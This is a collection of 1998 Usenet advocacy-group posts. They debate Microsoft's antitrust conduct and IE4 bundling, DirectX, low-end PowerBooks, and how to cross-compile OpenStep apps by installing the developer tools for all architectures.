<355337E7.AB397170@alum.mit.edu> <fuR41.360$sy4.1232831@news.rdc1.sdca.home.com> <35540431.47775518@common.se> <6j1lcc$ji3@bgtnsc01.worldnet.att.net> <355495FB.D0C86056@nstar.net> <35549E5E.EB4261F0@trilithon.com>
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Henry McGilton wrote:
> Michael, thank you for such a delightful and concise summary
> of the bases of law
Thank you! I'm really flattered.
> Are you a lawyer or student of law?
No! Except from the armchair, I suppose. I was a staunch conservative
and sometime economic fascist (by comparison) until I was referred to
Maybury's books and found that I was thinking about things from a
typical but backwards perspective (in my opinion).
> I'm
> now off to research Richard Maybury.
Very cool! I suspect you'll be slightly surprised when you find him; his
writing style is very simplistic (it's actually written in the form of
letters to an imaginary nephew), so even I could understand it. You may
have heard of his first book, a short piece on economics entitled
_Whatever Happened to Penny Candy?_. The rest of his stuff is really
good, especially _Whatever Happened to Justice?_.
MJP
From: "Earl Malmrose" <malmrose@nospam.jetcity.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Byte deletes binaries and puts up apple tweaked binary???
Date: 9 May 1998 21:02:24 GMT
Organization: ISPNews http://ispnews.com
Message-ID: <01bd7b8d$9baaa920$0b0ba8c0@woohoo>
References: <6iovd2$f0c$2@newsfep3.sprintmail.com> <djboccip-0605981313420001@qburst.msfc.nasa.gov> <ericb-0805981505460001@132.236.171.104> <djboccip-0805981516390001@qburst.msfc.nasa.gov> <6ivsq7$hsu$1@newsfep4.sprintmail.com> <joe.ragosta-0905980716330001@elk74.dol.net>
Joe Ragosta <joe.ragosta@dol.net> wrote in article
<joe.ragosta-0905980716330001@elk74.dol.net>...
>
> Sort of like the Intel Reference Compiler SPEC results that Wintel fans
> brag about so much?
Interesting you would bring this point up again. I just talked to some
Intel reps, and the new Intel C compiler will be available around June, and
will be available as a plug-in to MSVC++. I plan on getting a copy myself.
From: don.brown@cesoft.com (Donald Brown)
Newsgroups: comp.sys.next.advocacy,comp.sys.windows.advocacy,comp.sys.mac.advocacy
Subject: Re: OPEN LETTER TO Dr. Gregory Mankiw REGARDING MICROSOFT
Date: Sat, 9 May 1998 15:11:49 -0500
Organization: Prairie Group
Message-ID: <MPG.fbe7482b277f658989694@news.supernews.com>
References: <35522293.731DC4F3@alum.mit.edu> <stevewhite-0705982058110001@d148-218.ce.mediaone.net> <355337E7.AB397170@alum.mit.edu> <fuR41.360$sy4.1232831@news.rdc1.sdca.home.com> <MPG.fbe216587510224989691@news.supernews.com> <8C251.531$sy4.1591596@news.rdc1.sdca.home.com>
In article <8C251.531$sy4.1591596@news.rdc1.sdca.home.com>,
rriley@yahoo.com says...
> In <MPG.fbe216587510224989691@news.supernews.com> Donald Brown wrote:
> > In article <fuR41.360$sy4.1232831@news.rdc1.sdca.home.com>,
> > rriley@yahoo.com says...
> > > If the good professor isn't bought and paid for, he is only guilty of
> having
> > > fallen for the MS mantra of "freedom". I fell for this freedom ring for
> > > about 30 sec. until I realised our Founding Fathers crafted the
> Constitution
> > > around the fundamental principle of Freedom for "People". What Freedom
> Dear
> > > Mr. Mankiw do People have when this free and unfettered market economy of
> > > yours and MS only supports a choice of one, Microsoft? Does Corporate
> freedom
> > > replace Individual freedom in America?
> > >
> > Bill Gates is an Individual. Everyone who works at Microsoft, or at the
> > various computer makers, are Individuals. Those who bought Wintel
> > machines were Individuals uing their freedom to pick what system to use.
> >
> >
>
> You're confused... and mixing metaphors, Microsoft depends upon confusion.
> Yes BG is an individual. His freedoms are protected as are all others working
> and buying MS product. Microsoft behavior is on the table for discussion.
> Micoroft is a corporate entity a virtual individual created by an act of law.
> It's freedoms are held to a different standard than that of the individual.
> Don't confuse the actions of Microsoft to be the cumulative acts of the
> individuals therein. Important distinction.
I'm not confused, we disagree. Yes, there are some laws that apply
only to individuals working together in the organization of a
corporation. But, if those laws are not broken, if no laws are being
broken, they're still individuals with the freedom that should come from
that individuality. You believe there is a distinction. I do not.
> > Microsoft should be punished for the laws they have broken. But, that's
> > all they should be punished for. If they're punished for being
> > successful, that's wrong.
>
> Before Microsoft was the "Standard" OS the Business World demanded that all
> the various systems standardize their formats for wordprocessing, spreadsheet,
> mail, etc... Microsoft didn't make any more an effort to create standards,
> instead the World saw that MS was willing to be "the" standard. Microsoft has
> been very successful creating and maintaining the "standard". They should not
> be punished for that, I agree.
>
> What they now undertake is to usurp the market's choice of determining future
> standards by integrating and extending Windows standand OS as the future
> standard. That MS has deconstructed componentization and modularization of is
> software into a now integrated OS which cannot work without IE4.x is what they
> should be punished for.
Point to me the statute where it says they CAN'T do that, instead of "I
think it's a bad idea".
If it is a bad idea, it may flop. I'm mostly hearing a big ho-hum about
Windows 98. If it is something the public discovers they like it and buy
it, well, then it probably was the right thing for MS to do.
> Even if you build mail client software for the Windows platforms that
> architectural change restricts your freedoms as a Vendor to choose to treat
> all browser clients equally. I object as a professional to this move as it
> reduces further the "access" of non-Microsoft vendors to the marketplace. And
> I object as an individual because I am not at Liberty to pursue non-Microsoft
> software solutions. Doing so is at the cost and expense of being non-standard
> and losing access to data, information and content for which non-Micorsoft
> applications cannont share.
You are at complete liberty to pursue non-Microsoft software solutions.
You are not guaranteed success, but you are at liberty.
If you can't come up with anything better enough to get people to go your
way, if you can't come up with a better answer, you cannot ask the
government to trip your opponent so you can win.
> I have nothing wrong with standards. Standard API's, formats, etc...
> encourage the free and unfettered choice of the marketplace to determine
> success. Hence, Microsoft impinges upon my Civil Right to free speech. I and
> other non-Microsoft users of computing technology are continually faced with
> lack of compatibiltiy to information, access to information and ultimately the
> full and complete expression of individual speech.
BS. You can write anything you like. You are confusing freedom of
speech with the right to be heard. You can make a program that does
anything you jolly well please. If customers prefer Microsoft's
solution, well, that's their right to choose.
> Microsoft has its ways of making certain that their standard applications are
> available unfettered and freely usalbe on their OS. Word for Mac missing
> ACCESS. Java on Windows is non-standard Java. Active-X websites ala WSJ
> offer different content access controls. etc....
Then write an ACCESS-compatible databae for Mac. Write a standard Java
for Windows. Put up websites with standard controls. COMPETE.
> Not to mention the fact that it is Business Suicide to build a BusinessPlan
> without Microsoft an integral part of any software enterprise. Venture
> funding simply isn't available... The world would be different, with free
> access to information and markets without the Standards of Microsoft holding
> the process of "Free Choice" hostage to their beta cycles.
And the world would be different if we were all running DRDOS. Or if
there were 20 different incompatible OSes in use out there.
Microsoft Windows supplies TCP and you can build what you like on top of
there. I'm finishing a product with what is currently a proprietary
protocol but may be presented as a standard in the future. Even those
this protocol is different from the RSVP protocol Microsoft has proposed,
my software still runs on Windows.
God must love standards because there are so many of them. If you don't
like the standards Microsoft does, create your own. If they aren't
compelling enough to use them intead of Microsoft's standards, that is
the customer speaking.
Now, IF Microsoft is putting their own thumb on the scales to force
others out of the market (I'm particularly thinking of when they forced
clone makers to pay them for any computer even if it shipped with another
OS), that's against the law and they should be slapped down hard for
that. I believe there is a role for anti-trust laws, and Microsoft has
taken some actions that IMHO violate those laws, and Microsoft should be
punished for those actions.
But, if the problem is "They're big and I'm small and more customers
listen to them than I and I want the government to do something about
it", that's where I'll fight you.
Because I have a dream of being big someday and having more customers
listening to me than others. And I do not want the reward of my hard
work and success being living under a beaurocrat's thumb.
Donald
From: atlauren@uci.edu (Andrew Laurence)
Newsgroups: comp.sys.mac.portables,comp.sys.mac.hardware,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple Should GET A GOOD LOW END POWERBOOK!!
Date: Sat, 09 May 1998 10:22:18 -0700
Organization: UC Irvine
Message-ID: <atlauren-0905981022180001@dialin33419.slip.uci.edu>
References: <6it738$ceg$1@newsfep4.sprintmail.com> <Barry-ya02408000R0705982252550001@nntp.netgate.net> <1d8p8e2.14z9x3g1sihky4N@p002.intchg2.net.ubc.ca>
_3;X4o1Yg^$]=Oc\u
In article <1d8p8e2.14z9x3g1sihky4N@p002.intchg2.net.ubc.ca>,
bbennett@unixg.ubc.ca (Bruce Bennett) wrote:
>As it is some journalists are still using the old TRS-80, a positively
>archaeological artefact, simply because no-one has yet managed to supply
>the super-rugged, diskless "portable typewriter" appliance of the 90s.
My father is a journalist, and has had a TRS-80 for years. His newspaper
stopped actively using them years ago, moving to standard laptops
instead. As the Old Man says, "it does what it does, only what it does,
and does it very well. When we get together and talk shop, everyone
always grouses about having this or that problem with their laptops. I
wouldn't mind switching, but they don't seem to offer a compelling reason
to switch. Besides, when I'm getting ready to go on the road, the last
thing I need is to learn a new tool."
Remember kids, to journalists a computer - ANY computer - is an expensive
typewriter, and nothing more.
--
Andrew Laurence atlauren@uci.edu
Office of Academic Computing http://www.oac.uci.edu/~atlauren/
UC Irvine
"Perceive the need."
From: Jonathan W Hendry <jhendry@shrike.depaul.edu>
Subject: Re: Apple Should GET A GOOD LOW END POWERBOOK!!
Newsgroups: comp.sys.mac.portables,comp.sys.mac.hardware,comp.sys.mac.advocacy,comp.sys.next.advocacy
References: <6it738$ceg$1@newsfep4.sprintmail.com> <Barry-ya02408000R0705982252550001@nntp.netgate.net> <6ivef6$ntb$1@newsfep2.sprintmail.com> <6ivm1r$9un$1@larry.admin.phil.uu.nl> <joe.ragosta-0905981301430001@elk37.dol.net> <6j2eil$2ju$2@nntp2.ba.best.com>
Message-ID: <3554d2bb.0@news.depaul.edu>
Date: 9 May 98 22:03:39 GMT
In comp.sys.mac.advocacy Nathan Keir Edel <edel@best.com_SPAMBLOCK> wrote:
> In comp.sys.mac.portables Joe Ragosta <joe.ragosta@dol.net> wrote:
> > > >Steve Jobs did say they were planning a consumer level portable to be
> > > >introduced in '99. There are also rumours going round of a Mac in the eMate
> > > >form factor. Cross that with the iMac and what do you get?
> > >
> > > It will be over $1000. Too expensive to be a hit.
> > Huh? Apple puts together an iMac for $1299 and you think an eMac would be
> > over $1,000?
> In general, since a laptop consts more than a comparable desktop, yes. It
> would be more expensive to engineer for heat, if offered with a TFT screen
> the screen would certainly be more expensive (not necessarily so with
> whatever variety of STN they're on by then), battery would be more
> expensive than a regular power supply, and just about any of the other
> components would be at least as expensive.
It depends on the size of the screen, though. WinCE machines seem
to be able to keep the price down. They have a small screen, but
people are willing to accept that because of the lower price.
WinCE boxes may have lower requirements in terms of refresh, etc.
Apple can probably use the same screens if they want, benefiting
from the WinCE market size. I understand LG Electronics makes the
LCD in the Studio Display. Do they make WinCE screens too?
I think another part of the reason why WinCE boxes are cheaper than
Intel laptops is because they don't use expensive Intel CPU's.
One of the WinCE CPUs is a PowerPC. Anyone want to guess whether
it would run a modified version of MacOS?
--
"... and subpoenas for all." - Ken Starr
From: "John Saunders" <jws@jws.ultranet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.windows.advocacy,comp.sys.next.advocacy,alt.destroy.microsoft,comp.os.linux.advocacy,comp.os.ms-windows.advocacy,comp.os.ms-windows.nt.advocacy
Subject: Re: MS -"What Hurts Us, Hurts Industry" - LOAD OF B.S.!
Date: Sat, 9 May 1998 14:26:40 -0400
Organization: UltraNet Communications, Inc. http://www.ultranet.com/
Message-ID: <6j2m0f$m0c$3@ligarius.ultra.net>
References: <6il92r$3cl@bgtnsc01.worldnet.att.net> <6imcmk$oj1$3@ligarius.ultra.net> <01bd785f$a4d216e0$8383050a@bgravitt.CORP.VHA.COM> <6ioone$clv$5@ligarius.ultra.net> <01bd791b$cc852e40$8383050a@bgravitt.CORP.VHA.COM> <6ir7p5$nt$4@ligarius.ultra.net> <rmcassid-0705980012000001@dialin33419.slip.uci.edu>
Robert Cassidy wrote in message ...
>In article <6ir7p5$nt$4@ligarius.ultra.net>, "John Saunders"
><jws@jws.ultranet.com> wrote:
>
>> And I don't believe you actually have to use IE if you don't want to. You
>> can use Netscape if you want. In fact, an OEM can even preload Netscape
on
>> your new computer and add the Netscape icon to the desktop.
>
>According to MS you do, because you cannot remove it and because critical
>elements of the system supposedly require it.
>
Bob, you leave me totally confused.
If you used Netscape for all of your web browsing, but if some applications
you use had HTML help files and used some "IE4" component to display the
help, why would you have a problem? The presence of "IE4" components on your
system does NOT mean you have to use them when you would have chosen
Netscape. Not, at least, unless you really wanted to use Netscape to view
that HTML help? If so, why?
John Saunders
jws@jws.ultranet.com
From: "John Saunders" <jws@jws.ultranet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.windows.advocacy,comp.sys.next.advocacy,alt.destroy.microsoft,comp.os.linux.advocacy,comp.os.ms-windows.advocacy,comp.os.ms-windows.nt.advocacy
Subject: Re: MS -"What Hurts Us, Hurts Industry" - LOAD OF B.S.!
Date: Sat, 9 May 1998 14:22:10 -0400
Organization: UltraNet Communications, Inc. http://www.ultranet.com/
Message-ID: <6j2m0e$m0c$2@ligarius.ultra.net>
References: <6il92r$3cl@bgtnsc01.worldnet.att.net> <6imcmk$oj1$3@ligarius.ultra.net> <stone-ya02408000R0505980240210001@news.enetis.net> <6inoup$ejt$1@gte2.gte.net> <rmcassid-0505981303570001@dante.eng.uci.edu> <6ipuo7$606$1@strato.ultra.net> <rmcassid-0605981338290001@dante.eng.uci.edu>
Robert Cassidy wrote in message ...
>In article <6ipuo7$606$1@strato.ultra.net>, "John Saunders"
><jws@jws.ultranet.com> wrote:
>
>>Robert,
>>
>>Companies will often agree to consent decrees and out-of-court
settlements,
>>not because they're guilty, but because it's cheaper. Lawyers are
expensive,
>>time spent in court is expensive, and so is the uncertainty in your
partners
>>due to not knowing the outcome of a trial. A trial, and the attendant cost
>>and uncertainty can stretch on for months. But a settlement represents the
>>period at the end of the sentence, even when the sentence itself is an
>>unpleasant one.
>>
>>Accepting a settlement or consent decree, or for that matter, pleading
>>guilty to a lesser charge, are not admissions of guilt. It doesn't mean
>>they're "unofficially guilty".
>
>Normally I would agree with you, but in the case of a consent decree which
>*clearly* hampers MS's ability to move into new markets, I can't see them
>willing to do that just to save a few bucks. MS isn't built on the dollars
>of today which pay legal expenses, rather on the dollars of tomorrow which
>hold up their stock price.
>
>The non-bundling clause is *huge*, unless MS was going to:
>
>A) ignore it.
>B) pretend it is meaningless.
>
>Clearly they chose B based on the 'we can bundle a ham sandwich if we
>want' remark. A ham sandwich IS a separate product, just as a web browser
>is. I can't imagine that MS would willingly put a bullet in their plans
>for growth unless they were caught pretty much dead to rights. Perhaps it
>was just a massive screwup by MS execs and legal council.
>
>MS didn't plea to a lesser charge, they pled to a very significant charge.
>One that could cost them billions. So why wouldn't they fight it out if
>those were the stakes? Even all the tobacco wrangling has stayed far shy
>of the $1B mark for legal fees.
>
>And in spite of all of this, you avoided the point altogether. Just
>because they weren't found liable for something, doesn't mean that they
>didn't do it. Do you want to know if they did it, or if they were found
>liable for it? Is it alright if I kill someone, just so long as I don't
>get caught?
Bob,
I was responding to what I thought was the point you were making. I thought
you were saying, "they signed the consent decree, so they're guilty, even
though they're not "officially" guilty". My response was "there are reasons
other than guilt to sign a consent agreement".
Of course I'd like to know the truth. But we don't get to find out when
there's no trial.
Also, I sharply disagree with your interpretation of the meaning of the
bundling clause. I agree that it would prevent them from bundling Microsoft
Office with Windows 95, since that's clearly a separate product. I do not
believe it should prevent them from bundling the contents of the Plus!
package, since I'm willing to treat those components as an operating system
add-on. We could debate which of these two scenarios applies to IE4, but I'd
rather not. I think the latter applies: IE4 is a Windows upgrade that
happens to add Internet capabilites. That's why I don't think the bundling
clause should apply. I suspect you have a different opinion on this topic.
Thanks,
John Saunders
jws@jws.ultranet.com
From: "John Saunders" <jws@jws.ultranet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.windows.advocacy,comp.sys.next.advocacy,alt.destroy.microsoft,comp.os.linux.advocacy,comp.os.ms-windows.advocacy,comp.os.ms-windows.nt.advocacy
Subject: Re: MS -"What Hurts Us, Hurts Industry" - LOAD OF B.S.!
Date: Sat, 9 May 1998 14:27:54 -0400
Organization: UltraNet Communications, Inc. http://www.ultranet.com/
Message-ID: <6j2m0g$m0c$4@ligarius.ultra.net>
References: <6il92r$3cl@bgtnsc01.worldnet.att.net> <6imcmk$oj1$3@ligarius.ultra.net> <6in44d$jt3@bgtnsc01.worldnet.att.net> <6iomt2$bac$1@ligarius.ultra.net> <6isqdb$pa4$1@interport.net> <6isudr$39$1@interport.net> <6it4lv$n71$2@cronkite.cygnus.com> <3552188E.471E@CONVEX.COM> <35531f8a.0@209.136.2.9> <355346C7.AB5A6546@nstar.net>
Michael J. Peck wrote in message <355346C7.AB5A6546@nstar.net>...
>Dave Walker wrote:
>
>> Hey... add me to it as well.
>>
>> Dave Walker
>
>Sorry, first you have to say something incredibly malicious and,
>frankly, sick, about an innocent group of people.
>
>MJP
So what did I do to qualify?
John Saunders
jws@jws.ultranet.com
From: rex@smallandmighty.com (Eric King)
Newsgroups: comp.sys.next.advocacy
Subject: Re: The killer app....
Date: Sat, 09 May 1998 19:53:09 -0400
Organization: The Small & Mighty Group
Message-ID: <rex-0905981953100001@192.168.0.3>
References: <6ilrs8$27f$1@ha2.rdc1.nj.home.com> <01bd77da$5bccdb90$04387880@test1> <354eab88.0@news.depaul.edu> <6ip4g7$qg9@suriname.earthlink.net>
In article <6ip4g7$qg9@suriname.earthlink.net>, "Ziya Oz"
<ziyaoz@earthlink.net> wrote:
: > Why are they calling it 'technology'?
:
:Because maybe they bought Flash vector graphics technology for QuickTime?
The Flash format is now open and Quicktime 3.0 already has vector
graphics technology inside.
-Eric
From: "Todd Bandrowsky" <tbandrowsky@del.net>
Newsgroups: comp.os.ms-windows.advocacy,comp.sys.mac.advocacy,comp.os.os2.advocacy,comp.os.linux.advocacy,comp.sys.next.advocacy,comp.sys.amiga.advocacy
Subject: Re: Windoze Sux: DirectX vs NT50
Date: Sat, 9 May 1998 19:04:07 -0400
Organization: All USENET -- http://www.Supernews.com
Message-ID: <6j2q9p$2mg$1@usenet11.supernews.com>
References: <3544B94D.AEA0CC67@algonet.se> <01HW.B16A93530002A33B01453580@news.sprynet.com> <35454ac1.6431001@news.tiac.net> <01HW.B16BA6800002814C01048570@news.sprynet.com> <3546a44e.7747984@news.tiac.net> <02HW.B16CF7900002260600D99280@news.sprynet.com> <3548690e.3684017@news.tiac.net> <02HW.B16E55E400061D2400ED1970@news.sprynet.com> <354bcd0e.7636866@news.tiac.net> <Pine.BSF.3.96.980504124037.28470A-100000@shell4.ba.best.com> <199805051707.MAA01735@comp.uark.edu> <Pine.BSF.3.96.980505110737.20648B-100000@shell4.ba.best.com> <casper-0505981900370001@wheat-d-19.monroeville.nb.net>
>>This is more bull$hit from Micro$oft. It's remarketing of there product
>>because than can get more money. Plus, Diablo runs fine under WindowsNT,
>>but future games may have trouble supporting WinNT because they depend on
>>the anti-competitive DirectX libraries.
If you don't like Direct X, then use 3dfx or opengl or fastgraph. There's
plenty of alternatives out there for Windows. Geez, how many libraries does
Linux have: 0. How many gaming libraries does Sun have: 0. Apple stuff is
just as proprietary.
>>
>>DirectX 5.x will *NOT* be supported in WinNT 4.0, but will be supported in
>>"vaporware" WinNT 5.0.
>
> Vaporware is a good thing to call NT 5. I've been reading industry
>rags that say to expect NT 5 to be released late in 1999 or early in 2000
>at the soonest. They also say that if it's shoved out the door before
>then avoid it because it still isn't all that stable. But I'm not beta
>testing it so I really have no personal experience.
>
>>> Do what I do:
>>> Set up a dual boot system win95 for games and winNT for apps.
>>> not too hard...Use system commander, or NT will even do it on its own
>as long
>>> as it's the last OS installed.
>>
>>Why should I have to purchase an inferior product to run products that
>>should work under WinNT?
>>
>>Because this is why:
>> Long Version - Micro$oft wants to lock me into anti-competitive
>>propiertary technologies like ActiveX so that I'll be forced to use ONLY
>>their products and ONLY in a way they THINK I should use them.
The same thing could be said about Java, Oracle and anything that IBM or
Apple makes. Your arguments against using Microsoft products pretty leave
you with a limited toolset. Do you really think standards committees are
"open". I'd rather use something devised in response in market needs than
thought up by a bunch of clueless theorists.
>> Short Version - Micro$oft wants more *MONEY*!!!
They all do.
>
> And MS is fantastic at making money. You just described their entire
>business model to a T.
That's the business model of every computer company. IBM is even better at
it.
>
>--
>Tim Scoff
>casper@nb.net
><http://www.nb.net/~casper/>
>
>Customer: "I'm running Windows '95."
>Tech Support: "Yes."
>Customer: "My computer isn't working now."
>Tech Support: "Yes, you said that." (Pete Zimowski)
From: macghod@concentric.net
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.next.programmer
Subject: Yellowbox programming, and ragosta
Date: 10 May 1998 00:00:43 GMT
Message-ID: <6j2qnb$r2p$2@newsfep1.sprintmail.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
In the past, I am sure I have seen joe ragosta say that openstep programming
to multiple platforms (those supported by Openstep that is) is as simple as
clicking a box and recompiling.
I would like Joe to walk me through this process to show his knowledge of
this.
To everyone else (besides Joe), I did the simple first app from the openstep
docs, currencyconverter. Followed everything it said to do, compiled it, no
problems. I then went to the build options and clicked all the boxes for
other platforms. GOt a whole buncha errors :( Then only selected one box,
but not the platform I am on, whole buncha errors :(
--
Running on Openstep 4.2, the best os in the world, and about to get better!
Mac/openstep qa work desired, email me for resume
NeXTMail and MIME OK!
From: don@misckit.com (Don Yacktman)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.next.programmer
Subject: Re: Yellowbox programming, and ragosta
Date: 10 May 1998 00:16:04 GMT
Organization: MiscKit Development
Message-ID: <6j2rk4$skr$2@news.xmission.com>
References: <6j2qnb$r2p$2@newsfep1.sprintmail.com>
macghod@concentric.net wrote:
> To everyone else (besides Joe), I did the simple first app from
> the openstep docs, currencyconverter. Followed everything it said
> to do, compiled it, no problems. I then went to the build options
> and clicked all the boxes for other platforms. GOt a whole buncha
> errors :( Then only selected one box, but not the platform I am
> on, whole buncha errors :(
Well, we already told you the likely cause of your problems. Now that you've
given more specifics, I can positively say that one of the previous
suggestions--your dev. tools are not properly installed--is in fact the case.
This means that you installed the developer tools "thin". If you want to
cross compile, you must install them "fat". This is because in order to link
a multiple architecture binary, you must have multi-architecture libraries
and frameworks on your system. (This should be obvious.) Installer.app on
OPENSTEP makes this easy to do, and the installation instructions explain it.
But you have to check the boxes to install for all the architectures when you
do the install. As I reacall, you're using OPENSTEP 4.2, so you just need to
RTFM; it should be easy to reinstall it the way you need it.
On RDR1, it isn't so easy because for some dumb reason Apple set it to
automatically install the tools thin, so you have to break out the command
line and re-install them FAT by hand. Figures that they'd go and BREAK
things that worked just fine before. :-P (Thank goodness it is only the
install that is broken.) This has been documented many times (publically) on
rhapsody-dev@omnigroup.com, so I'm not breaking any NDAs by saying this.
Again, RTFM.
Once you get things installed right, it should be no tougher than clicking
the check box to get things to cross compile.
--
Later,
-Don Yacktman
don@misckit.com
<a href="http://www.misckit.com/don.html">My home page</a>
From: "Michael J. Peck" <mjpeck@nstar.net>
Newsgroups: comp.sys.mac.advocacy,comp.sys.windows.advocacy,comp.sys.next.advocacy,alt.destroy.microsoft,comp.os.linux.advocacy,comp.os.ms-windows.advocacy,comp.os.ms-windows.nt.advocacy
Subject: Re: MS -"What Hurts Us, Hurts Industry" - LOAD OF B.S.!
Date: Sun, 10 May 1998 00:15:49 +0000
Organization: ISPNews http://ispnews.com
Message-ID: <3554F1B5.AE94C55D@nstar.net>
References: <6il92r$3cl@bgtnsc01.worldnet.att.net> <6imcmk$oj1$3@ligarius.ultra.net> <6in44d$jt3@bgtnsc01.worldnet.att.net> <6iomt2$bac$1@ligarius.ultra.net> <6isqdb$pa4$1@interport.net> <6isudr$39$1@interport.net> <6it4lv$n71$2@cronkite.cygnus.com> <3552188E.471E@CONVEX.COM> <35531f8a.0@209.136.2.9> <355346C7.AB5A6546@nstar.net> <6j2m0g$m0c$4@ligarius.ultra.net>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
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John Saunders wrote:
> So what did I do to qualify?
That's weird. I haven't killfiled you. My original statement was to John
Rudd of Cygnus Solutions.
Judging from your posts, I haven't a clue why I would killfile you.
MJP
From: ethorne@chicagonet.net (Edwin E. Thorne)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.next.programmer
Subject: Re: Yellowbox programming, and ragosta
Date: Fri, 8 May 1998 19:22:33 -0600
Organization: ISPNews http://ispnews.com
Message-ID: <1d8q5gj.17qnilxg9rrdzN@pppsl552.chicagonet.net>
References: <6j2qnb$r2p$2@newsfep1.sprintmail.com>
<macghod@concentric.net> wrote:
> In the past, I am sure I have seen joe ragosta say that openstep programming
> to multiple platforms (those supported by Openstep that is) is as simple as
> clicking a box and recompiling.
>
> I would like Joe to walk me through this process to show his knowledge of
> this.
Nah, don't ask Joe, I can tell you what to do.
1. Raise your PC above your head with both hands.
2. Throw it down against a cement floor as hard as you can.
3. Sweep up the pieces.
4. Obtain another PC and resume with step # 1.
5 Repeat steps 1 through 4 until Openstep works as desired, or until
all available PCs are exhausted, whichever comes first.
> To everyone else (besides Joe), I did the simple first app from the openstep
> docs, currencyconverter. Followed everything it said to do, compiled it, no
> problems. I then went to the build options and clicked all the boxes for
> other platforms. GOt a whole buncha errors :( Then only selected one box,
> but not the platform I am on, whole buncha errors :(
>
>
> --
> Running on Openstep 4.2, the best os in the world, and about to get better!
> Mac/openstep qa work desired, email me for resume
> NeXTMail and MIME OK!
Edwin
------------------------------------------------
Created on an Apple Macintosh Performa 6400/180
From: "Zico" <ZicoKnows@hotmail.com>
Newsgroups: comp.sys.next.advocacy,comp.sys.windows.advocacy,comp.sys.mac.advocacy
Subject: Re: OPEN LETTER TO Dr. Gregory Mankiw REGARDING MICROSOFT
Date: Sat, 9 May 1998 20:22:06 -0400
Organization: All USENET -- http://www.Supernews.com
Message-ID: <6j2s62$gpp$1@supernews.com>
References: <35522293.731DC4F3@alum.mit.edu> <stevewhite-0705982058110001@d148-218.ce.mediaone.net> <355337E7.AB397170@alum.mit.edu> <fuR41.360$sy4.1232831@news.rdc1.sdca.home.com> <MPG.fbe216587510224989691@news.supernews.com> <8C251.531$sy4.1591596@news.rdc1.sdca.home.com>
x-no-archive: yes
Rex Riley wrote:
>I have nothing wrong with standards. Standard API's, formats, etc...
>encourage the free and unfettered choice of the marketplace to
determine
>success. Hence, Microsoft impinges upon my Civil Right to free
speech. I and
>other non-Microsoft users of computing technology are continually
faced with
>lack of compatibiltiy to information, access to information and
ultimately the
>full and complete expression of individual speech.
Free speech?? Dude, you need to get out more. You have no right
to be heard. Expect to face the same problem if you're an U.S.
immigrant from East Asia who doesn't know English. And no, I don't
think the taxpayers should be forced to help you out, either.
I'm guessing that you don't like to hear it, but de facto standards
are standards, too. Learn to work with them, come up with your
own that a decent number of people will want to use, or die.
Z
From: dmccoy@REMOVE_MEmnsinc.com (David H. McCoy)
Newsgroups: comp.os.ms-windows.advocacy,comp.sys.mac.advocacy,comp.os.os2.advocacy,comp.os.linux.advocacy,comp.sys.next.advocacy,comp.sys.amiga.advocacy
Subject: Re: Windoze Sux: DirectX vs NT50
Date: Sat, 9 May 1998 20:46:11 -0400
Organization: OminorTech
Message-ID: <MPG.fbec2e0148eba92989d7b@news1.mnsinc.com>
References: <3544B94D.AEA0CC67@algonet.se> <01HW.B16A93530002A33B01453580@news.sprynet.com> <35454ac1.6431001@news.tiac.net> <01HW.B16BA6800002814C01048570@news.sprynet.com> <3546a44e.7747984@news.tiac.net> <02HW.B16CF7900002260600D99280@news.sprynet.com> <3548690e.3684017@news.tiac.net> <02HW.B16E55E400061D2400ED1970@news.sprynet.com> <354bcd0e.7636866@news.tiac.net> <Pine.BSF.3.96.980504124037.28470A-100000@shell4.ba.best.com> <199805051707.MAA01735@comp.uark.edu> <Pine.BSF.3.96.980505110737.20648B-100000@shell4.ba.best.com> <casper-0505981900370001@wheat-d-19.monroeville.nb.net> <6j2q9p$2mg$1@usenet11.supernews.com>
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In article <6j2q9p$2mg$1@usenet11.supernews.com>, tbandrowsky@del.net
says...
> If you don't like Direct X, then use 3dfx or opengl or fastgraph. There's
> plenty of alternatives out there for Windows. Geez, how many libraries does
> Linux have: 0. How many gaming libraries does Sun have: 0. Apple stuff is
> just as proprietary.
>
Why is it so difficult for people to realize the DirectX is the technology
tht combines sound interfacing, controllers, video hardware accessing as
well as 3D. Direct 3D is one component of DirectX. If you create a game
with 3dfx or OpenGL without the sound or controller components, you will
not have much of a game.
Quake II does use the DirectSound component of DirectX but not the
Direct3D component.
--
-----------------------------------
David H. McCoy
dmccoy@REMOVE_MEmnsinc.com
-----------------------------------
From: rmcassid@uci.edu (Robert Cassidy)
Newsgroups: comp.sys.next.advocacy,comp.sys.windows.advocacy,comp.sys.mac.advocacy
Subject: Re: OPEN LETTER TO Dr. Gregory Mankiw REGARDING MICROSOFT
Date: Sat, 09 May 1998 16:56:43 -0800
Organization: UC Irvine
Message-ID: <rmcassid-0905981656440001@dialin9013.slip.uci.edu>
References: <35522293.731DC4F3@alum.mit.edu> <stevewhite-0705982058110001@d148-218.ce.mediaone.net> <355337E7.AB397170@alum.mit.edu> <35534C47.454F66AA@trilithon.com> <35538B51.C5BFA834@alum.mit.edu>
In article <35538B51.C5BFA834@alum.mit.edu>, Eric Hermanson
<eric@alum.mit.edu> wrote:
> 5. Uses their majority market share (gotten via anti-competitive bundling
> agreements) as a vehicle to pressure their rip-off web browser onto the
desktops
> of tens of millions of people. The fact that the browser is given away
for free
> (resulting in a financial loss) indicates that the company will go to the
> anti-competitive extreme of "dumping" in order to secure marketshare and
reduce
> their competitors, who must charge for their web browsers in order to stay
> alive, to rubble.
Actually, I don't think any of the above _really_ underscore the problem
with Microsofts dominance. In fact, I don't see some as being a problem at
all. (the per system licensing seems to be gone, and UI copying has been
deemed a non-issue)
The REAL problem that I see right now is that Microsoft is using its
browser, and the bundling of that browser with the OS so that they can
equate such things as 'Internet Car Buying' or 'Internet Airline
Reservations' with their own services, leaving GM's or any others with
virtually no way of getting attention on the user's desktop.
